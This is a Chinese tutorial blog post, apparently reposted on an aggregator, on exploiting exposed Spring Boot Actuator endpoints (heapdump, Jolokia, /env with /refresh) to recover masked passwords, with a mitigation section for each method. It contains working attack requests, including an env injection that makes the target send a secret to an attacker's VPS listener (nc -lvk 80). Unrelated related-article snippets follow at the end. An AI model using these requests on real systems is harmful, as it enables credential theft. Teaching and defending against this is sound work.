草庐IT

Springboot之Actuator信息泄露漏洞利用

Java海 2023-11-12 原文

0x01 什么是Actuator

Spring Boot Actuator 模块提供了健康检查,审计,指标收集,HTTP 跟踪等,是帮助我们监控和管理Spring Boot 应用的模块。这个模块采集应用的内部信息,展现给外部模块,可以查看应用配置的详细信息,例如自动化配置信息、创建的Spring beans信息、系统环境变量的配置信息以及Web请求的详细信息等。

如果没有正确使用Actuator,可能造成信息泄露等严重的安全隐患(外部人员非授权访问Actuator端点)。其中heapdump作为Actuator组件最为危险的Web端点,heapdump因未授权访问被恶意人员获取后进行分析,可进一步获取敏感信息。

SpringBoot 1.x 和 2.x 的 Actuator模块设置有差别,访问功能的路径也有差别,但现在多使用的SpringBoot版本为2.x,这篇文章只讲SpringBoo 2.x Actuator模块带来的信息泄露。

0x02 Actuator 使用

如果要使用 SpringBoot Actuator 提供的监控功能,需要先加入相关的 maven dependency:

1<dependency>
2    <groupId>org.springframework.boot</groupId>
3    <artifactId>spring-boot-starter-actuator</artifactId>
4    <version>2.7.0</version>
5</dependency>

只要加上了这个actuator依赖,SpringBoot 在运行时会自动开启/actuator/health和/actuator/info这两个 endpoint。

为了更方便漏洞利用,当前环境在一个CMS中加入了该依赖,因为自己新建的Springboot项目没有配置数据库之类的信息。

0x03 Endpoints 介绍

Spring Boot 提供了所谓的 endpoints (下文翻译为端点)给外部来与应用程序进行访问和交互。

打比方来说,/health 端点 提供了关于应用健康情况的一些基础信息。metrics 端点提供了一些有用的应用程序指标(JVM 内存使用、系统CPU使用等)。

这些 Actuator 模块本来就有的端点我们称之为原生端点。根据端点的作用的话,我们大概可以分为三大类:

  • 应用配置类:获取应用程序中加载的应用配置、环境变量、自动化配置报告等与Spring Boot应用密切相关的配置类信息。

  • 度量指标类:获取应用程序运行过程中用于监控的度量指标,比如:内存信息、线程池信息、HTTP请求统计等。

  • 操作控制类:提供了对应用的关闭等操作类功能。

需要注意的就是:

每一个端点都可以通过配置来单独禁用或者启动

不同于Actuator 1.x,Actuator 2.x 的大多数端点默认被禁掉。Actuator 2.x 中的默认端点增加了/actuator前缀。默认暴露的两个端点为/actuator/health和 /actuator/info

原生端点如下:

请求方法

端点

描述

GET

/actuator

查看有哪些 Actuator端点是开放的。

GET

/actuator/auditevent

auditevents端点提供有关应用程序审计事件的信息。

GET

/actuator/beans

beans端点提供有关应用程序 bean 的信息。

GET

/actuator/conditions

conditions端点提供有关配置和自动配置类条件评估的信息。

GET

/actuator/configprops

configprops端点提供有关应用程序@ConfigurationPropertiesbean的信息。

GET

/actuator/env 

查看全部环境属性,可以看到 SpringBoot 载入哪些 properties,以及 properties 的值(会自动用*替换 key、password、secret 等关键字的 properties 的值)。

GET

/actuator/flyway

flyway端点提供有关 Flyway 执行的数据库迁移的信息。

GET

/actuator/health 

端点提供有关应用程序运行状况的health详细信息。

GET

/actuator/heapdump

heapdump端点提供来自应用程序 JVM 的堆转储。(通过分析查看/env端点被*号替换到数据的具体值。)

GET

/actuator/httptrace

httptrace端点提供有关 HTTP 请求-响应交换的信息。(包括用户HTTP请求的Cookie数据,会造成Cookie泄露等)。

GET

/actuator/info

info端点提供有关应用程序的一般信息。

GET

/actuator/integrationgraph

integrationgraph端点公开了一个包含所有 Spring Integration 组件的图。

GET

/actuator/liquibase

liquibase端点提供有关 Liquibase 应用的数据库更改集的信息。

GET

/actuator/logfile

logfile端点提供对应用程序日志文件内容的访问。

GET

/actuator/loggers

loggers端点提供对应用程序记录器及其级别配置的访问。

GET

/actuator/mappings

mappings端点提供有关应用程序请求映射的信息。

GET

/actuator/metrics

metrics端点提供对应用程序指标的访问。

GET

/actuator/prometheus

端点以prometheusPrometheus 服务器抓取所需的格式提供 Spring Boot 应用程序的指标。

GET

/actuator/quartz

quartz端点提供有关由 Quartz 调度程序管理的作业和触发器的信息。

GET

/actuator/scheduledtasks

scheduledtasks端点提供有关应用程序计划任务的信息。

GET

/actuator/sessions

sessions端点提供有关由 Spring Session 管理的应用程序 HTTP 会话的信息。

GET

/actuator/startup

startup端点提供有关应用程序启动顺序的信息。

POST

/actuator/shutdown

shutdown端点用于关闭应用程序。

0x04 漏洞利用

前面介绍过了Actuator一些基础后,现在来研究一下如果目标站点存在这个漏洞该如何利用。

首先访问一下/actuator/env:

image01

该端点可以返回全部环境变量以及一些配置信息,其中就包含了数据库配置信息。但是我们可以看到password被用*代替了,这时就要想办法读取该数据了,获取明文密码办法有以下四种:

4.1 方法一

利用条件:

  • 可正常 GET 请求目标 /heapdump 或 /actuator/heapdump 接口  

利用方法:

首先访问/actuator/heapdump 接口,下载应用实时的 JVM 堆信息。

然后通过JDK自带的JVisualVM工具对JVM堆的dump文件进行分析:

该工具路径为 JDK/bin/jvisualvm.exe

image02

工具打开默认是这样的,接下来点击文件->装入:

image03

选择我们刚才下载的dump文件。

image04

可以看到系统的一些配置信息。

接下来打开OQL控制台,输入OQL语句来过滤我们需要的信息。

OQL 是一种类似 SQL 的查询语言,用于查询 Java 堆。OQL 允许从 Java 堆中过滤/选择所需的信息。虽然 HAT 已经支持诸如“显示 X 类的所有实例”之类的预定义查询,但 OQL 增加了更多的灵活性。OQL 基于 JavaScript 表达式语言,详细请参考Object Query Language (OQL)

env中信息存储在heapdump中的 java.util.LinkedHashMap$Entry 类中(Spring boot 2.X版本)。

如果我们要查询数据库密码则在OQL控制台执行如下OQL语句:

select s from java.util.LinkedHashMap$Entry s where /spring.datasource.password/.test(s.key)  

image05

可以看到有三个查询结果,挨个点开看看:

image06

可以看到数据库密码为root。

注意OQL查询语句中的 spring.datasource.password 需要根据实际环境替换。

4.2 方法二

利用条件:

  • 目标网站存在/jolokia或/actuator/jolokia接口

  • 目标使用了jolokia-core依赖(版本要求暂未知)

默认情况下actuator是没有jolokia接口的,所以需要再添加如下依赖:

1<dependency>
2    <groupId>org.jolokia</groupId>
3    <artifactId>jolokia-core</artifactId>
4    <version>1.7.0</version>
5</dependency>

利用方法

首先访问/actuator/env接口,获取想要获得明文的属性名,然后通过 jolokia 调用相关 Mbean 获取明文。

然后访问

h ttp://ip:port/actuator/jolokia/list 

看一下目标环境中存在的MBean:

image07

接下来就可以通过调用我们找到的MBean来获取我们感兴趣字段的明文了:

1POST /actuator/jolokia
2Content-Type: application/json
3
4{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

如果是1.x版本请求路径则为/jolokia

当前环境测试如下:

image08

4.3 方法三

利用条件:

  • 可以 GET 请求目标网站的 /env  

  • 可以 POST 请求目标网站的 /env  

  • 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)  

  • 目标使用了 spring-cloud-starter-netflix-eureka-client 依赖  

  • 目标可以请求攻击者的服务器(请求可出外网)  

这里需要注意的是,添加了spring-cloud-starter-netflix-eureka-client依赖后,启动项目可能会报一个如下错误:

image09

通过搜索最终找到了这个帖子

报错内容和帖子很相近,最终在移除了当前项目中的servlet依赖后报错消失。

image10

还有一个问题就是如果使用的 spring boot 版本大于 2.2.4,则必须使用下面的属性手动启用POST API 调用:

management.endpoint.env.post.enabled=true

否则不能通过POST访问env端点。

利用方法:

  1. 首先访问

    http://127.0.0.1:8080/actuator/env

    来获取我们想要明文字段的key。 

  2. 在自己控制的外网服务器上监听 80 端口:

nc -lvk 80
  1. 将下面

    http://value:${security.user.password}@your-vps-ip 中的 security.user.password 换成自己想要获取的对应的星号 * 遮掩的属性名; your-vps-ip 换成自己外网服务器的真实 ip 地址。

1POST /actuator/env
2Content-Type: application/json
3
4{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}
  1. 刷新配置:

1POST /actuator/refresh
2Content-Type: application/json
  1. 解码属性值

    接下来VPS会获得如下请求:

1GET /apps/ HTTP/1.1
2Accept: application/json, application/*+json
3Authorization: Basic dmFsdWU6cm9vdA==
4Host: ******
5Connection: Keep-Alive
6User-Agent: Apache-HttpClient/4.5.13 (Java/1.8.0_191)
7Accept-Encoding: gzip,deflate

将Authorization字段进行base64解密后,得到的值就是value:password

4.4 方法四

利用条件:

  • 通过 POST /env 设置属性触发目标对外网指定地址发起任意 http 请求

  • 目标可以请求攻击者的服务器(请求可出外网)

利用方法:

在目标发外部 http 请求的过程中,在 url path 中利用占位符带出数据。

  1. 首先访问

    http://127.0.0.1:8080/actuator/env

    来获取我们想要明文字段的key。

  2. 在自己控制的外网服务器上监听 80 端口:

nc -lvk 80
  1. 构造如下数据包:

1POST /actuator/env
2Content-Type: application/json
3
4{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}
  1. 刷新配置

1POST /actuator/refresh
2Content-Type: application/json
  1. 查看VPS

接下来VPS就会收到请求:

1Ncat: Connection from ******
2GET /SecretKe/apps/ HTTP/1.1
3Accept: application/json, application/*+json
4Host: ******
5Connection: Keep-Alive
6User-Agent: Apache-HttpClient/4.5.13 (Java/1.8.0_191)
7Accept-Encoding: gzip,deflate

apps前面的路径就是我们需要的数据。

0x05 如何防御

5.1 方法一

针对第一种方法,我们可以直接禁用heapdump端点,可以在配置文件中加入如下配置:

management.endpoint.heapdump.enabled=false

然后重新运行项目,访问/actuator/heapdump:

image11

可以看到无法下载dump文件,自然也就无法获取明文密码了。

5.2 方法二

针对第二种方法,可以有两种选择,一是直接移除jolokia依赖,二是禁用jolokia端点,这里直接移除如下依赖:

1<dependency>
2    <groupId>org.jolokia</groupId>
3    <artifactId>jolokia-core</artifactId>
4    <version>1.7.0</version>
5</dependency>

删除选中部分,重新加载maven项目后运行项目,然后访问/actuator/jolokia端点:

image12

可以看到端点已无法访问。

5.3 方法三

删除 spring-cloud-starter-netflix-eureka-client

依赖或者禁止POST请求访问env端点。

5.4 方法四

和方法三一样,删除 spring-cloud-starter-netflix-eureka-client 依赖或者禁止POST请求访问env断点。

0x06 参考

[1] https://blog.csdn.net/weixin_42628854/article/details/124592923

[2] https://blog.csdn.net/weixin_40482816/article/details/108539137

[3] https://www.cnblogs.com/caoweixiong/p/15325382.html

[4]https://github.com/LandGrey/SpringBootVulExploit#spring-boot-vulnerability-exploit-check-list

[5] http://cr.openjdk.java.net/~sundar/8022483/webrev.01/raw_files/new/src/share/classes/com/sun/tools/hat/resources/oqlhelp.html

[6] https://stackoverflow.com/questions/34950164/getting-nosuchmethoderrorjavax-servlet-servletcontext-getvirtualservername

有关Springboot之Actuator信息泄露漏洞利用的更多相关文章

  1. ruby-on-rails - Rails 常用字符串(用于通知和错误信息等) - 2

    大约一年前,我决定确保每个包含非唯一文本的Flash通知都将从模块中的方法中获取文本。我这样做的最初原因是为了避免一遍又一遍地输入相同的字符串。如果我想更改措辞,我可以在一个地方轻松完成,而且一遍又一遍地重复同一件事而出现拼写错误的可能性也会降低。我最终得到的是这样的:moduleMessagesdefformat_error_messages(errors)errors.map{|attribute,message|"Error:#{attribute.to_s.titleize}#{message}."}enddeferror_message_could_not_find(obje

  2. ruby - 解析 RDFa、微数据等的最佳方式是什么,使用统一的模式/词汇(例如 schema.org)存储和显示信息 - 2

    我主要使用Ruby来执行此操作,但到目前为止我的攻击计划如下:使用gemsrdf、rdf-rdfa和rdf-microdata或mida来解析给定任何URI的数据。我认为最好映射到像schema.org这样的统一模式,例如使用这个yaml文件,它试图描述数据词汇表和opengraph到schema.org之间的转换:#SchemaXtoschema.orgconversion#data-vocabularyDV:name:namestreet-address:streetAddressregion:addressRegionlocality:addressLocalityphoto:i

  3. 【鸿蒙应用开发系列】- 获取系统设备信息以及版本API兼容调用方式 - 2

    在应用开发中,有时候我们需要获取系统的设备信息,用于数据上报和行为分析。那在鸿蒙系统中,我们应该怎么去获取设备的系统信息呢,比如说获取手机的系统版本号、手机的制造商、手机型号等数据。1、获取方式这里分为两种情况,一种是设备信息的获取,一种是系统信息的获取。1.1、获取设备信息获取设备信息,鸿蒙的SDK包为我们提供了DeviceInfo类,通过该类的一些静态方法,可以获取设备信息,DeviceInfo类的包路径为:ohos.system.DeviceInfo.具体的方法如下:ModifierandTypeMethodDescriptionstatic StringgetAbiList​()Obt

  4. Tomcat AJP 文件包含漏洞(CVE-2020-1938) - 2

    目录1.漏洞简介2、AJP13协议介绍Tomcat主要有两大功能:3.Tomcat远程文件包含漏洞分析4.漏洞复现 5、漏洞分析6.RCE实现的原理1.漏洞简介2020年2月20日,公开CNVD的漏洞公告中发现ApacheTomcat文件包含漏洞(CVE-2020-1938)。ApacheTomcat是Apache开源组织开发的用于处理HTTP服务的项目。ApacheTomcat服务器中被发现存在文件包含漏洞,攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件。该漏洞是一个单独的文件包含漏洞,依赖于Tomcat的AJP(定向包协议)。AJP自身存在一定缺陷,导致存在可控

  5. ruby - what is - gets is a directory - 错误信息 - 2

    我遇到了这个奇怪的错误.../Users/gideon/Documents/ca_ruby/rubytactoe/lib/player.rb:13:in`gets':Isadirectory-spec(Errno::EISDIR)player_spec.rb:require_relative'../spec_helper'#theuniverseisvastandinfinite...itcontainsagame....butnoplayersdescribe"tictactoegame"docontext"theplayerclass"doit"musthaveahumanplay

  6. ruby - 尝试比较两个文本文件,并根据信息创建第三个 - 2

    我有两个文本文件,master.txt和926.txt。如果926.txt中有一行不在master.txt中,我想写入一个新文件notinbook.txt。我写了我能想到的最好的东西,但考虑到我是一个糟糕的/新手程序员,它失败了。这是我的东西g=File.new("notinbook.txt","w")File.open("926.txt","r")do|f|while(line=f.gets)x=line.chompifFile.open("master.txt","w")do|h|endwhile(line=h.gets)ifline.chomp!=xputslineendende

  7. ruby - rspec: raise_error 用法来匹配错误信息 - 2

    我使用raise(ConfigurationError.new(msg))引发错误我试着用rspec测试一下:expect{Base.configuration.username}.toraise_error(ConfigurationError,message)但这行不通。我该如何测试呢?目标是匹配message。 最佳答案 您可以使用正则表达式匹配错误消息:it{expect{Foo.bar}.toraise_error(NoMethodError,/private/)}这将检查NoMethodError是否由privateme

  8. ruby - 为什么要使用嵌套的 Ruby 模块来获取版本信息? - 2

    我最近一直在查看一些gem的源代码。我经常看到的一个习惯用法是使用嵌套模块,其中包含连接到版本字符串中的版本常量,即围绕此类事物的变体:moduleChunkyBaconmoduleVersionMAJOR=0MINOR=6TINY=2endVERSION=[Version::MAJOR,Version::MINOR,Version::TINY].compact*'.'end以这种方式存储库版本信息有什么好处(如果有的话)?为什么不这样做:moduleChunkyBaconVERSION='0.6.2'.freezeend 最佳答案

  9. ruby - 使用包含在另外两个数组中的信息创建一个数组 - 2

    如何使用如下两个数组构建一个数组:名称=[a,b,c]how_many_of_each[3,5,2]得到my_array=[a,a,a,b,b,b,b,b,c,c] 最佳答案 使用zip、flat_map和数组乘法:irb(main):001:0>value=[:a,:b,:c]=>[:a,:b,:c]irb(main):002:0>times=[3,5,2]=>[3,5,2]irb(main):003:0>value.zip(times).flat_map{|v,t|[v]*t}=>[:a,:a,:a,:b,:b,:b,:b,:b

  10. 什么是0day漏洞?如何预防0day攻击? - 2

    什么是0day漏洞?0day漏洞,是指已经被发现,但是还未被公开,同时官方还没有相关补丁的漏洞;通俗的讲,就是除了黑客,没人知道他的存在,其往往具有很大的突发性、破坏性、致命性。0day漏洞之所以称为0day,正是因为其补丁永远晚于攻击。所以攻击者利用0day漏洞攻击的成功率极高,往往可以达到目的并全身而退,而防守方却一无所知,只有在漏洞公布之后,才后知后觉,却为时已晚。“后知后觉、反应迟钝”就是当前安全防护面对0day攻击的真实写照!为了方便大家理解,中科三方为大家梳理当前安全防护模式下,一个漏洞从发现到解决的三个时间节点:T0:此时漏洞即0day漏洞,是已经被发现,还未被公开,官方还没有相

随机推荐